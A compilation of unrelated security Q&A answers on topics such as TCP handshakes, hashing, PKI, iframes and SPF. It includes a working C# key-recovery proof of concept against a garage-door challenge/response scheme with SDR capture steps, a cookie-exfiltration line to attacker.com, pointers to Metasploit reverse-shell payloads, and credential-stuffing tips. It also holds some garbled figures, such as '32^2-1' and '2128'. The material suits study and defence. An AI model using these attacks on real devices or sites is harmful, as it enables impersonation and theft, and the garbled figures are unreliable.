Assumptions
Your server is not on the same network as your client thus not able to create a MITM or sniff traffic.
Answers

Is TCP's 3-way handshake a kind of mutual authentication?

I'd say it is, but a relatively weak form of mutual authentication.

Can I see it as a way to ensure the source IP in packet's header is the real source of the packet, so a kind of authentication ?

In all practical cases, yes, you can rely on the source IP in the packet's header being the real source IP if the sequence number is correct and there is no MITM.  Sequence numbers can be anything from 0 to 32^2-1. It is highly unlikely that someone can guess that number faster than the real request can get the correct number.
Recommendation
It seems like you are trying to use the wrong technologies for what you would like.  While they may work, there is a reason you don't use a screwdriver as a hammer.  I'd recommend using TLS for mutual authentication with client and server certificates.


It seems that your question basically breaks down to two points: why not use biometrics as an encryption key, and why not encrypt everything, or at least a lot more.

Security of Biometrics

  Why not use a fingerprint and/or other unique identifier such as retinal or lens scan to ID your terminal to a computer?

Biometrics are not really all that secure. See for example these links:

iPhone fingerprint scanner hacked
reverse engineering iris scans
interesting video about biometrics hacks [in german + english translation]
Police can coerce fingerprint to unlock iPhone
wikipedia also has a list of concerns, including the concern of someone cutting of your finger to get your fingerprint. Is your data really worth this risk?

The main problem is that you cannot keep your biometric information secret, as you leave it all over the place. And once it is acquired by attackers, you also cannot change it.

There are of course other means to get a unique id that doesn't depend on you remembering a password (each with their own problems), such as smart cards, usb key cards, pufs, etc.

Encrypt by Default

  Why not encrypt all confidential, sensitive and borderline data?

Who decides what is borderline data and what is not? The easiest solution would be to just encrypt everything. But there are problems with encryption:

work: someone has to set this up
speed: encryption takes time
recoverability: it is a lot easier to recover unencrypted data from failing storage than to recover encrypted data from it
security concerns: if there is a backdoor in your encryption program or if your system is compromised the encryption is useless, but the other points in this list still matter

Why should someone take on these additional issues if their thread model doesn't really call for encryption? (note that I'm all for encryption, but other people will consider these points)

But it seems that there is a move to encryption by default. It seems to be enabled by OS X Yosemite and Windows 8.1, and self encrypting drives do exist.


Malware that uses http as a covert channel

Some researchers will not let the public download malware, for obvious reasons, but you might be looking for things like:

php shells
java shells
bots

Metasploit
You also have Metasploit as a resource of open-source HTTP/S shells, stagers, and 'malware' to play with:

http://www.metasploit.com/modules/payload/windows/shell/reverse_http
http://www.metasploit.com/modules/payload/java/
http://www.metasploit.com/modules/payload/php/

If you are new to Metasploit, there is an official tutorial that also includes how to use the HTTP shells.

Bots
As for bots, there is a famous IRC bot from "feelcomz", that has code in many places online. A Google search will get you the code. There are also good bot simulators.

Other Options
Many Snort rules include the reference to the malware they detect, which allows you to see the malware behavior and to hunt down specific types. Or, you can set up a honeypot and collect your own live malware to analyze, which is how researchers build their own malware databases.

That list should keep you busy for a while...


Seeking security help as a non-technical manager

a security professional knows that "secure" is a state that one will never reach to 100%. Its about reducing the attack surface on a daily basis. Security is a ongoing process and "secure" can be considered as a snapshot.


If no maximum length is placed on a password, can't collisions occur?

For starters, hash functions are supposed to be basically random, so the length of the input string doesn't matter. The probability that two random 3-character strings hash to the same thing is the same as the probability that two random 100-character strings hash the same.

For modern hash functions (SHA1,SHA2, not MD5) their structure is mathematically complex enough that we can't say very much about it algebraically. Also, the space of possible input strings, even of length 32, is so huge that we can't experimentally check all of them. So, we don't actually know how many collisions there are within the first 2128 strings (strings whose binary representation are 1, 10, 11... 2128). In theory there should be some, but as far as I know, we haven't uncovered any yet for SHA1 or SHA2. So your intuition that capping the length of the input strings to less than 2128 bits will eliminate the risk of collisions isn't quite right.

In any case, let's assume there are pairs of passwords within the first 2128 strings that have the same hash, the probability that you will hit one in your database is roughly <number of entries in db> / 2128.

The reason that

  the "impact of hash collisions is non existent"?

is that 1/  2128 is such an unimaginably small number that even if you wrote a program to generate random passwords until the sun ran out of energy, you still wouldn't expect to see a single collision by random chance. (If someone's actively trying to do a collision attack, then that's a different story).

Consider also how the risk of a collision (~ 1/2128) compares to the risk of a standard dictionary attack. According to the 2013 Adobe password leak, 1 out of 68 accounts on the internet use the password 123456. 1/68 is a MUCH bigger number than 1/2128, so the fact that a single guess of 123456 has a 1/68 chance of being right is a MUCH more important thing to worry about than theoretically-possible-collisions. Solution: allow (or enforce) long non-dictionary passwords, use a unique salt for each password hash, and don't worry about collisions.


“Keyset does not exist” when using SignData function with RSA

I met the same problem, and I find solution now.
You need use the same rsa that you used to generate the signature to generate a public key and provite key for all to use, then use this public Key & private key  for all other action: encrypt,decrypt,verify, you will not see this error.


Found recording of unkown phone call - did someone hack my Android phone?

It seems unlikely. Was it something like a 1-900 pay per minute number?

Could you have put you phone down in a cafe and someone picked it up and dialed the number.

Was the anything actually on the recording?

Unless it was a 1-900 pay per minute call then I think the most likely reason is either you pocket dialed someone some random number that went to answer phone or something, or someone pocked dialed you and you accidentally pocked answered.

The only other thing I think it might be something like law enforcement making a silent* call, and using your phone to bug you, and you would not have known unless you had the recording app.

*I have no idea if this is a thing, but it would not surprise me; but it would also seem unlikely that it is a 'hidden feature' of iOS/android that can also be picked up by a phone recording app.


Does it add anything to restrict IP address?

Yes, locking your service down by IP will prevent your service being found by the general internet population and will dramatically reduce the attack surface if managed correctly. This will make your site safer from not just brute force attacks - your whole application will be "invisible".

Despite this fact, locking down IPs should not be done in lieu of other measures such as ensuring your web application and server is secure from other vulnerabilities - if one of your "good IPs" is compromised, an attacker could use this as a pivot in order to attack your site. Also be aware that any malware running by any of your trusted users could be used by an attacker to bypass the IP restriction.

So use it as an extra layer of security, but do not let this trick you into a false sense of security where you let your guard down. Treat your web application and platform as if it was fully internet visible - regularly scan and test it for vulnerabilities, and make sure that the management of allowed IP addresses is done properly by deleting and updating and verifying on a regular basis.


Challenge/response authentication for garage door opener

No.

Let's write it up:

C is the challenge message
R is the response message
K is the secret key
C = q ⊕ K where q is a random number.
R = ((C ⊕ K)2 - 5) ⊕ K, or if we skip the decryption step: R = (q2 - 5) ⊕ K.

The attacker can see both C and R. If the attacker then xors the two values:

C ⊕ R = (q2 - 5) ⊕ K ⊕ q ⊕ K

Since we're xoring with K twice, we can just drop those operations out. This gives the attacker the following:

C ⊕ R = (q2 - 5) ⊕ q

There are only a few values for q for any given value of C ⊕ R in the 32-bit space. In fact, it's an easy enough operation to just brute force: just try all q values until you find all the values that match.

This gives you some possible value of q, the random number. Since C = q ⊕ K, just compute C ⊕ q for each candidate q to get a small number of possible K values. Repeat this process for a second time and see which candidate K value came up in both runs: this gives you K.

I even wrote a PoC!

// our key!
int k = 0xBAD1DEA;

void Main()
{
    // output the key just so we can see it in the output
    Console.WriteLine("Key is: 0x{0:X8}", k);

    int challenge = GenerateChallenge();
    int response = GenerateResponse(challenge);

    Console.WriteLine();
    Console.WriteLine("Cracking the challenge and response...");

    // this is the attacker: they know only the challenge and respoonse!
    Crack(challenge, response);
}

int GenerateChallenge()
{
    Random rng = new Random();

    // I'm keeping the random number small-ish to avoid the c^2 operation from overflowing
    // this is just a limitation of the fact that .NET has sane integer types that don't wrap on multiplication overflows
    int q = rng.Next(0, 10000000);
    Console.WriteLine("I picked q={0}", q);

    int challenge = k ^ q;
    return challenge;
}

int GenerateResponse(int c)
{
    c ^= k;
    return ((c * c) - 5) ^ k;
}

void Crack(int c, int r)
{
    int c_r = c ^ r;

    // try all possible 'q' values.
    for (int q = 1; q < int.MaxValue; q++)
    {
        if ((((q * q) - 5) ^ q) == c_r)
        {
            // got a match, output it
            Console.WriteLine("q candidate: {0}", q);
            Console.WriteLine("k candidate: 0x{0:X8}", q ^ c);
        }
    }
}

Sample output:

Key is: 0x0BAD1DEA
I picked q=2847555

Cracking the challenge and response...
q candidate: 2847555
k candidate: 0x0BAD1DEA

The "cracking" process took less than a second on my system.

EDIT: Since this apparently wasn't clear: you're not bruteforcing anything against the real system. This approach doesn't involve you sending any data to the receiver at all. You simply sit there with a software defined radio (SDR) and capture the signals produced when the owner opens their garage door. You then extract the challenge and response values from those signals - these are C and R. Given C and R you can use the above process to compute a few possible q values for that particular challenge/response pair. In some cases you'll get only one, in some cases you might get 2 or 3. Compute q ⊕ C for each candidate q to get a list of candidate K values. If you get more than one, wait for them to open their garage again and capture another C and R pair, re-run the process, and see which candidate K values match the first time around - this will give you the real K value. Once you've got that, you've got everything you need to impersonate the real opener device. You can reply correctly every time since you know the value of K.


How to confirm that an embedded iframe can read cookies from parent?

First thing to note is that iframes (by default) don't act like they're part of the same origin, unless they are. If the iframe origin (in the src attribute) and the parent origin differ, the iframe will always be sandboxed from the parent. This imposes a bunch of restrictions, like being just unable to access most properties of the window.parent object.

You can make a same-origin iframe have the same kinds of restrictions as cross-origin iframes[1] by using the sandbox attribute. The values of the sandbox are exceptions to the sandbox attribute, not to the iframe security model in general. Thus, allow-same-origin doesn't make a cross-origin iframe act like it's same-origin to the parent page; it merely lets a same-origin iframe do the same-origin stuff that it could have done if it weren't sandboxed. If the parent and iframe are cross-origin, no amount of allow-same-origin or allow-top-navigation will fix that.

For iframes that are actually same-origin and are either not sandboxed or have the allow-same-origin sandbox attribute value, window.parent.document.cookie will let you set or read (non-HttpOnly) cookies.

One approach that you might expect to work cross-origin is top navigation. Even cross-origin iframes can, if not sandboxed (or if the sandbox has allow-top-navigation), set (but not get) the URL of their parent. You might think this would let you do something like this:
parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"
If that succeeded, it would execute javascript in the context of the parent page, and exfiltrate that page's (non-HttpOnly) cookies.

Fortunately, browser developers are wise to that sort of trick. An iframe (that is allowed top navigation) can point the top page at many things, but a javascript: URI is not one of them.

Allowing untrusted iframes to do top navigation is still dangerous, of course. They may not be able to leverage it to inject script or steal cookies (not without an injection vulnerability, such as an XSS), but they can do things like navigate the user to a look-alike URL that displays the same content but is actually a phishing site, for example.

Of course, that doesn't exfiltrate the cookies, merely reveal that they're readable, but it's a way to exploit allow-top-navigation

[1] And then some; the more extreme restrictions are stricter than the default cross-origin restrictions. This means that sandboxing cross-origin iframes isn't necessarily redundant. For example, cross-origin iframes are by default allowed most forms of top navigation and running scripts that don't try to interact with the window.parent object, but you can block those with sandboxing.


Is divide-by-zero a security vulnerability?

At issue is that an exception handler will be invoked to handle the division by zero.  In general, attackers know that exception handlers are not as well-tested as regular code flows.  Your main logic flow might be sound and thoroughly tested, but an exception handler can be triggered by interrupts occurring anywhere in the code within its scope.

int myFunction(int a, int b, SomeState state) {

    state(UNINITIALIZED);
    try {
        state.something(a/b);
        state(NORMAL);
    }
    catch () {
        state.something(b/a);
        state(INVERTED);
    }
    return retval;
}

This horrible pseudocode sort of illustrates one way the flaw could be exploited.  Let's say that an uninitialized state is somehow vulnerable.  If this routine is called, the state is first uninitialized.  If b is zero, it catches the exception and tries to do some other logic.  But if both a and b are zero, it throws again, leaving state uninitialized.

The division by zero itself wasn't the vulnerability, it's the bad code around it that's possible to exploit.


DES-CBC3, is a shorthand for a few suites in OpenSSL (that doesn't always have an exact one to one mapping between the name used and the suite used, it constructs it from the name and the type of key used for authentication). Nowadays, this name almost always means a suite documented in RFC 6101 where it is called, a slightly better name : SSL_RSA_WITH_3DES_EDE_CBC_SHA. I have no idea how OpenSSL came with its shorthand (and I suspect it dates from before OpenSSL was OpenSSL), but it's a pretty bad one.

The RFC name gives you the hint that it's using 3DES (Triple-DES) in EDE mode.

3DES-EDE is using 3 56 bit keys, the first used in Encryption, the second in Decryption, the third in Encryption. This construct has the advantage that if all three keys are identical, you have DES, which is nice as it permits to reuse the same hardware to do DES and 3DES.

To answer each point

Only OpenSSL calls it that, not the name used in the actual standard
Valid from SSLv3 and up
You'd need to read the history of OpenSSL back when it was libeay, this is extremely old code, this was likely a mistake but it stuck.


It sounds like these are genuine findings.

Be aware that Internet Explorer does not encode less-than signs in URLs. Have a go at reproducing the finding using IE. If you are not able to, that indicates something else is going on.

If you need further assistance, please email support@portswigger.net and include screenshots of a false positive.


Do Anti-Virus programs scan running processes?

AV's wont continously scan for running processes as it is an expensive operation. It is better to use WMI for process launch notifications.

As far as in-memory detection is concerned, AVs usually hook most of the system APIs and determine the process beahviour to flag if its malicious. As far detecting sending out requests to bad sites is concerned, that depends on your AV, if it identifies it as malicious url, it will block the request but may not kill the process(unless its a known malicious process in which case it will be detected beforehand).

For example:
If your file downloads another file into a temp directory and executes it, it is considered(flagged) as malicious. (You can create an exe which will download putty.exe and run it from temp and upload it on Virustotal).
When AV is analyzing it , it will find API calls for downloading (WinHttpReadData) and launching process (CreateProcess). AVs create an api chain to determine if the file downloaded is the file being executed and if the process is launched from Temp directory.

Basically, there are many ways of detecting in-memory malicious behaviour.


Is it possible to create a self signed certificate authority?

What you describe is a "Private CA certificate", and they are used everyday. A "self-signed certificate" is any certificate that does not have the digital signature of a higher certificate authority; the certificate basically tells someone who gets it "I am vouching for myself; you can either trust me or not". SSCs can assert that they are CAs, and so if you trust them, you trust the certificates signed with the CA certificate. The self-signed CA certificate in effect becomes a "private trusted root". Because it lacks global trust, this certificate generally isn't good enough for an anonymous client connecting to your web server over the Internet, but within the boundaries of a network of computers that you fully control, you can tell those computers to trust any certificate you like.

Without a central authority, every machine on the network would require the certificate of every other machine on the network, and implicitly trust all of them. This simple flat "web" trust structure is feasible for a small number of machines like 3-5, but in a network with, say, 100 machines, each machine must have the certificate for the other 99, and the next machine to be added to the network must somehow get its certificate implicitly accepted by all 100 existing machines. The CA structure drastically streamlines this process; all machines implicitly trust one and only one certificate - the CA's - and a CA-signed certificate presented by a new machine will tell all the other computers "the CA trusts me; you should too".

Now, this still requires your CA to be trustworthy; just because it's trusted doesn't necessarily mean it should be. The CA certificate's private key has to be protected against attempts by an attacker to steal it, and should an attacker do so, you must have a way to revoke that certificate without losing all trust in the entire network. In a small home network, as AJ's comment states, it's not a huge deal to revoke the one primary CA certificate and regenerate all the certificates on the network, but in larger networks it can bring the whole thing to a screeching halt.

Typically, redundancy and tolerance to compromise is achieved with multiple levels (at least two) of CAs in your trust chain, much like the globally-trusted CA chain works. There would be one "trusted root" certificate, a "golden key", the public version of which is implicitly trusted by the network machines. The private key is stored on an HSM, and when not generating "public-facing" CA certificates it is kept in a secured vault that requires sign-off from multiple executives to access.

Those "public-facing" CA certificates are the ones used by the PKI server(s) to generate the non-CA certificates issued to servers and clients on the network. Should an attacker compromise one of these CA certificates, that certificate can be revoked (telling all computers not to trust it or any certificate signed by it), and any computer that had a certificate signed by that CA can prove its identity in some other way to the PKI system, and get a new certificate from one of the non-compromised CA certs. Meanwhile, the execs sign off, the HSM is retrieved under the watchful eye of a lot of interested people, and a replacement CA certificate is generated to replace the revoked one in the PKI system.


Just give them the token manually. Whether it is JWT, a public/private key pair, shared secret or anything else, you can just give it to all the servers ahead of time manually. I remember once hard-coding the shared secret in PHP code, not that I would recommend that. Still, you should just have a secret, ideally a HMAC key in a file on the requesting server. Then use it to authenticate your request, for example by using JWTs with HMAC.


Are user-provided translation strings an attack vector

They obviously need to be sanitized/encoded. But I don't see how it is more vulnerable to XSS and the like than other user supplied data.

I'd worry more about messages that mean something different in that other language being substituted. That could be used for social engineering, or to lower the reputation of your website by inserting inappropriate or insulting content.


Is it safe to check password against the HIBP Pwned Passwords API during account registration?

Have I Been Pwned? allows anyone to download the full database to perform the checks locally.

If that's not an option, using the API is safe, since it uses k-anonimity which allows you to perform the check without transmitting the full password / hash.


Yes, you can.   You can have all of the domains listed in the SAN (Subject Alternate Name) field in the one certificate, and use it for them all.

This comes with a couple of things to consider, namely:

If any of your servers are compromised, or the certificate is leaked, you'll have to replace it everywhere.  You now have approximately five times the risk of the cert being compromised, and if it is, it can be used in attacks against any of the domains.  This is a real risk if one of the domains is particularly sensitive and its servers are hardened, and another is significantly less sensitive and not as much care is taken to protect its servers.   It's less of a risk if all of the domains are roughly equal in size and value, and of your, your mileage may vary.
The benefit, on the other hand is that you have slightly less management overhead.  Now you only have one cert to worry about renewing, and one renewal date.  This reduction in overhead may well be worth the bit of additional risk.


Temporarily blocking too many login requests for only the targeted accounts

The secuirty measure would simply be a joke then and you would be litereally wasting space and code(if the attack is against a login such as spotify or something as large. A forum maybe?) People have became witty about how they conduct these attacks. Taking combinations of user:pass or email:pass and using these to login while using HTTP/HTTPS high level anonimity proxies. Also refered to as credential stuffing. This is a very effective attack method. As for targeting one user account. They better just have a lot of proxies and a script that identifys whether the proxy has been banned and uses a different one.


Does it make sense to check SPF Record if a majority of customers don't abide their own Records?

So all in all, does it even makes sense to check for SPF Records if most of your Customers have SPF Records but they don't abide by them?

If you work in an environment where most SPF records are broken then it makes of course no sense to care about SPF. This is not specific to SPF: if you know that most of the information you get are wrong you cannot rely on these information in the first place.

But, this kind of broken setup seems to be specific for your environment. At least in the environments I've encountered SPF works mostly fine. It might break though if mails gets redistributed, for example by mailing lists. It might thus be better to not only rely on SPF but additionally on DKIM which is not affected by the redistribution problem (but by others). This is also what DMARC  does, i.e. needs only either SPF or DKIM to succeed.

  ...  who can't send us emails because their SPF Record has missing IP Adresses, missing includes, etc. etc.

SPF is usually not used to deny all mails with SPF Fail. Instead SPF information are commonly used as one of several parts in the spam detection. And, the mail will usually not be rejected but at most marked as potential spam. Explicit rejection is usually only done when there is a DMARC record on the senders domain with an explicit reject policy.


Fomat String vulnerability used to display data outside the function stack frame?

however, if we run the program with the input "%s" the output will be "This is a secret 1

No, this is not guaranteed. It may print out the string contained in the secret variable but that is merely a coincidence. You are right that main and printf each has their own stack frames. printf will print out whatever memory address the stack happens to be pointing at at the moment. The nice thing about format string vulnerabilities like this though is that you can essentially read arbitrary amounts of data just by passing in various format strings.

I find this paper to be a nice introduction to the vulnerability.


You might need other solutions to integrate on your SIEM.

Anti-Malware / EDR - For detection on your endpoint.
IPS / Advanced Threat - For detection on any outbound connection to any C2 or correlated signature from your IPS.
Integrity Checker on your servers (i.e. Tripwire)
Server hardening / patches


Have you read the OpenID Connect docs thoroughly?

From the documentation:

  After obtaining user information from the ID token, you should query your app's user database. If the user already exists in your database, you should start an application session for that user.

I haven't read the docs fully, and I may be wrong here, but you receive the id_token from Google in response to an HTTPS POST

  id_token   |  A JWT that contains identity information about the user that is digitally signed by Google.

so why do you need to 'send' it to the client?


SSL Client Authentication: Basic and extended usage (in theory)

Basically this is right. The Webserver will only accept client certificates signed by the trusted CA.

But take a look at a (well, deprecated) Apache directive SSLRequire. https://httpd.apache.org/docs/2.4/mod/mod_ssl.html#sslrequire

In addition you can set further conditions on the client certificates like the subject being in a certain OU or the subjects email address following certain rules.

But this is only the necessary requirement to have the TLS connection set up! Then withint this TLS connection you are most probably still running an application. This application can request the information from the clients certificate and allow access based on the certificate's subject.

Which means: You might restrict setting up the TLS connection to a certain   department of your company identified by the e.g. OU in the certificate. But still the application may grant different rights or roles based on the CN or emailAddress within the cert's subject.


What are the webmalware effects on Windows XP?

Nothing should be changed except the downloaded Internet files.

I would take a snapshot of the fresh VM and revert back every night (or sooner if it detects evidence of malware). That way, it is free to be compromised, but you limit its effect.

Unless you hope to inspect changes in the VM as the method of detection that there has been malware, in which case you simply look for ANY changes outside of the downloaded Internet files.

It looks like you are trying to combine a proxy with a sandbox? Sandboxes are best used in parallel and not in-line for safety sake.


I've taken a quick look, and this appears to be completely benign, if somewhat annoying.  It's not an attack as Michael suggested in his answer.

What has happened is that someone purchased a domain (canadaehtees.com) and pointed the DNS records for that domain at the IP address that currently hosts your website (fastslots.co).  Why?  It could be a simple mistake, or it could be that they were in possession of that IP address before you were, given that their domain name is slightly older than yours.

This is why the site at that domain looks exactly like yours (it is yours!) and you get the invalid certificate error over https (because the certificate is also yours, and so isn't for canadaehtees.com, but for fastslots.co.)

What can you do about?  Well, redirecting as you've currently configured is one option.  I would suggest that you change the redirect from a 302 (temporary) to a 301 (permanent) if this is the solution you want to use long term.

Other status codes you could return for unknown hosts would be 404 (not found) or 410 (gone).

The more drastic solution, but the one that should permanently fix the issue without any further work on your part would be move your site to another IP.


Is there a way to check the filetype of a file uploaded using PHP?

You want PHP's Fileinfo functions, which are the PHP moral equivalent of the Unix 'file' command.

Be aware that typing a file is a murky area at best.  Aim for whitelist ("this small set of types is okay") instead of blacklist ("no exes, no dlls, no ...").  Do not depend on file typing as your sole defense against malicious files.


You can't simply embed a hash inside file types if the file type is not designed for that. By doing so, you will probably break the file and it cannot be used until you have undone this change.

However, you can put the hash codes into a separate file, e.g. a CSV file. Put the (relative) file name first, then the hash. Transfer all files to the target PC and check against the hash codes of the CSV file (or whatever your use case is).

If you want the hashes to be invisible for a user, place the CSV somewhere where it's not obvious and remove access rights. Note that someone with administrator rights can still take ownership of that file and modify or delete it.

Another idea: you can try putting it into an alternate data stream (ADS) if you're using the NTFS file system. However, note that ADS are removed when copying to different file system. Also note that someone who is aware of ADS can still reveal those streams, modify the content and delete them.

All above options are not secure. If you want a secure solution, your hashing approach needs to be combined with some sort of encryption.


Securing Home Network using 3rd Party Firmware / Access Points

stackexchange is only suited to one question at a time - you've asked more than one where the title matches a small one at the end, but the rest is 'how do i stop getting dhcp traffic when i'm on a vpn?' by my interpretation.

The answer for that question is to have a firewall on whatever you connect - be it a single host or a router.

There's no objectively good way to assess whether 3rd party firmware is better or worse, since the details matter, but these are moot and only pretty loosely related to your first question.   Out of the things you've suggested pfsense is probably the best setup, but only if properly configured, which I kind of get the impression you may not find easy.


You can find some of the  vulnerabilities displayed here. The problem with Avahi isn't that it's directly exploitable, but that it uses so called 'zero configuration protocol' or 'zeroconf' it will automatically detect printers, scanners and hosts (computer names) on the network. This can be a good thing for most normal users in a home LAN environment, but you do not want to have this enabled when you are connected to a wireless hotspot with tons of other people whom you don't know and therefor can't trust.

One of  biggest problem with Avahi (well zeroconf in general for that matter) is that it uses multicast DNS rather than unicast DNS, making you even more susceptible to DNS spoofing attacks than normal.


Terminology for attacks of extracting an application's shared library and using it stand-alone

Oracles

A black box component that encrypts anything you throw at it is called an Encryption Oracle.
A black box component that decrypts anything you throw at it is called a Decryption Oracle.

Actual examples of this would be your library, or an HSM (hardware security module) that does all the crypto internally.
I suggest, you buy a cheap $500 HSM and let that worry about the crypto. Contrary to a library, a HSM can not simply be copied. (But brings other headaches, like how to do backups/restores/HW-replacement.)


How configure tomcat 7 SSL to use AES-NI?

Let me answer your last question. No, AES-NI will not increase your SSL performance significantly. A CPU which has the AES-NI instructions can encrypt data without using these instructions at a rate of more than 120 MB/s (probably more than 200 MB/s on a server), i.e. more than 10 (or 20) times what 100 MBit/s ethernet can provide. Correspondingly, the best you can hope for, at the best of times and with a supremely efficient hardware implementation of AES, is to save less than 10% (or 5%) on CPU. That's not "significant". Since you use Tomcat to process the data, I seriously doubt that the encryption cost of AES is even detectable on your server. Sure, with AES-NI the processor can encrypt 15 times faster, but since encryption already uses a negligible overall amount of CPU, what would be the point ?

A much quoted data point is what Google said when they switched Gmail to site-wide SSL: they measured a CPU load increase by a meagre +1%. Of course, impact may vary on site type and amount of processing for each request, but we can keep that in mind: SSL is cheap. Making it cheaper will not offer tremendous gains.

Now, for your other questions, the implementation of AES which uses AES-NI instructions should be automatically selected (without needing any configuration on your part) if all of the following are true:

The CPU supports the AES-NI instructions.
The actual implementation of AES (as used in SSL) is OpenSSL.
That version of OpenSSL is 1.0.1 or later.

Thus, if you use Tomcat behind mod_ssl (in Apache) and your local OpenSSL library is recent enough, then you already benefit from AES-NI goodness. If you do the SSL with Tomcat itself (thus relying on Java's internal cryptography), then chances are that you end up with some Java code which does not benefit from AES-NI -- but this would deserve investigation (namely benchmarks). My opinion is that it will make no measurable difference whatsoever anyway, so the point is kinda moot.


How to inject a key (physically) on a huge number of devices?

Since you seem unable (likely understandably so) to give any more information, I am going to rephrase your situation so you can determine if we are on the same level. And make an assumption that looks like reasonable.

For all intent and purposes the symmetric keys are not keys but just data, since we get them "prefabricated" out of some system. Thus, in other words, you are asking how can I send some "private data" (= keys) to a group of "users" (= devices) over an "insecure channel" (= the factory and it's employees), with the users having an uniquely identifying feature (= serial number) which is easily known and/or imitated by a malicious user.
I will also amuse losing some devices (or having a cost of reprogramming) due to an attack is not a problem.

What you need is for each user to be able to request its data only ONCE.

The user connects to your server using a secure authenticated channel (I would suggest some kind of SSL connection).
The user sends its ID (serial number) to the server.
The server checks if the data (symmetric key) corresponding to this ID has not been handed out (is not flagged).
Is not flagged: The server sends the user its data (symmetric key) and flags this key as handed out in it's DB-system.
Is flagged: The server does not deliver the data to the user.

The device should only be able to work if it has received a symmetric key from this server. This could be a final part of the production process, let the device initialize (get the key) and check that it has received a key (without the device letting know that the key is of course).

Should someone breach your factory and start sending malicious requests to the server, it cannot breach the security (though it will involve some costs due to some devices being manufactured with already used serial numbers, either the cost of a device must be very small or you can reprogram the serial number, which should also reset the symmetric key of course).

The whole point of this system is to reduce the size of the secure environment, only the server and its DB need to be secure and those can be located off-site if needed. Assuming the server and DB are safe and the device cannot be read or abused between initialization and being in the customers possession, once a device leaves the factory, the fact it turns on will let the customer know it has its key and only the server (and DB) know this key.

I believe the device cannot be read or abused between initialization and being in the customers possession falls outside the context of this SE as it is about physical security. One note I do like to make is that if the device could be initialized in front of the customer, say by a vendor under customer supervision this could greatly decrease the potential for this condition to impact security.

Edit: response to remarks made by Gilles

  the server has no way to know whether the serial number sent in the request is genuine

I read the comment from the OP saying that "You can assume for this question that keys have already been generated and have an associated identifier" as "there is a DB containing {serial-number, key} pairs". Thus the server can check (does) if the serial number is genuine.

  it means that some devices will be bricked as communication breaks down for one reason or another

I'm not sure how to interpret this but I read this as "if communication breaks down during initialization then the device becomes bricked".
I presumed this would be a network internal to the factory or at least the same company making communication problems rather unlikely (though possible, true). Only when the communication fails during sending of the key to the device is there a problem by the way.
When I said "This could be a final part of the production process" I did not mean this should happen outside the companies network,
just that it's the most secure to have it as close to the end as possible, sorry for any miscommunication.

  it enables a trivial DoS attack where an attacker claims all serial numbers

It does allow a DoS attack against the serial numbers. This is because I made the assumption that security was a very important concern for this device and that resetting a device would be an acceptable trade-off to security.
However as you will need to be breaching the companies internal network first I do not see this to be that big of a risk. However the attacker will still need to guess correct serial numbers and given a decent lengthy serial the hit-rate should be rather low as we know the production capacity and thus can limit the query limits of the server as an extra security measure.

  It also allows quite a wide range of impersonation scenarios that the “only once” rule does not prevent, for example: a company orders 100 devices, provisions 90 and keeps the last 10 as backups; an attacker impersonates one of those 10 and gets a key that the company has recorded as belonging to one of its legitimate devices. You need to provision a key (not necessarily the one that will be used by the final customer, it can be a temporary provisioning key) before the device leaves the manufacturer's secure supply chain.

I should have made it clear that the "initializing" should take place in the companies secure network. Either as part of the production process or as part of the sales (I assumed part of the company but did not make this clear in my "note") but I did say in my "note" that the vendor did have to initialize the device (under supervision of the customer). So any scenario where a customer has a not initialized device should not occur.

  I don't think this question is answerable, given that it is extremely general and does not say anything about the device manufacturing process, the distribution process, or the device capabilities.

I do agree that given the general nature of this question an optimal (or very good) solution can not be given. The solution I provide has an inherent cost in the possibility of needing to reprogram serial numbers (or bricked devices depending on implementation). But this is intended to allow a general answer without impacting security. I believe a better solution would involve PKI for client authentication but this is prohibited by the OP.


You can saturate a computer's incoming network connection by just flooding it with packets. Even if every incoming packet bounces off the firewall or off a closed port (no process listening on that protocol+port on that interface), the bits are still being sent; legitimate traffic will need to compete for time on the wire. Even if you can't actually cause a crash or consume excessive resources on the gateway, NIC, or computer's network driver and related kernel components, you can slow downloads for that machine to a crawl if you blast enough packets at it. No need for the PC to reply (which would be required to complete a TCP handshake); you can send a packet to anybody.

This is a very brute-force approach, though. An equivalent in the real world might be to prevent people from going to a store by hiring a bunch of people to form a long line at the door, each one stepping away and getting back in line as they reach the door. Some legitimate shoppers may also reach the door, but most won't... or at least, it would take too long for most of them to bother waiting that long. Since home connections are usually capable of much faster downloads than uploads, it takes a lot of people working together to saturate the download connection if the attack is coming from people on home Internet.

You may also find that even supposedly client-only computers often listen for some traffic from the Internet. Incoming requests will usually be blocked by network address translation, but machines connected to the Internet directly (or in the gateway's DMZ) would be reachable. The gateway itself may also listen for remote connections. On Windows, check Resource Monitor (resmon.exe), "Network" tab, "Listening Ports" view. You may see quite a few processes listening on external (i.e. non-loopback) interfaces, and also permitted through the firewall.


Can someone who only knows your phone number and first name perform identity theft?

If you gave Facebook that number, someone could use it to find your Facebook user name. People tend to use their full name as a Facebook user name - also because Facebook wants so:

  The name you use should be the name your friends call you in everyday life and that our acceptable identification forms would show.

As such, a phone number may be enough to get your full name, which could be partially confirmed by an attacker who also knows your name.

At that point, the attacker would know your full name and phone number.

What can the attacker do? It depends.

If you're worried about online fraud - setting up a fake account with your name - it's a real threat.

Financial frauds - those involving money - are usually more difficult, since they often require additional data (SSN, credit card number,...) and resources (forged documents, cloned credit cards, and so on).

As usual, you should think about what you're dealing with.

How many people know your phone number and first name?
Do you think you can trust them? I'm not talking about "saving-your-life" trust. A plain "not-doing-evil" trust is enough.
Does any website, including social networks, know your phone number and first name?
Do you think you can trust them, at least to not directly sell your data to scammers and criminals?
Did something happen that could make you the target of an attack by resourceful people (say, criminals)? Consider revenge and other factors.
Consider how would a fake account affect your digital presence, both from a personal and a professional standpoint. If you are a representative of a well-known company, for example, a fake account could be more dangerous than if you were, say, a waiter.
Do your bank and credit card companies have well-defined policies, requiring identification, for using your bank and credit card accounts?


Handling session tokens when a users IP changes with extreme frequency

I am inclined to say that the bit about tying the session token to the source IP address is harmful and should be removed.

Such a tying is often reported as "good for security", but exactly why it is good for security is rarely explained. It is similar, in that respect, to the widespread recommendation for changing your passwords regularly: a well-entrenched Tradition, for reasons that nobody quite remembers, and with toxic side-effects.

The main reason why session tokens are to be tied to an IP address is not to prevent reuse after theft through the TLS layer. Let's face it: if an attacker could break through the TLS, then a filter on the IP address won't block him either. Such an attacker could so much hijack the user's connection that he totally owned it; masquerading with the user's usual IP address will not deter such an attacker.

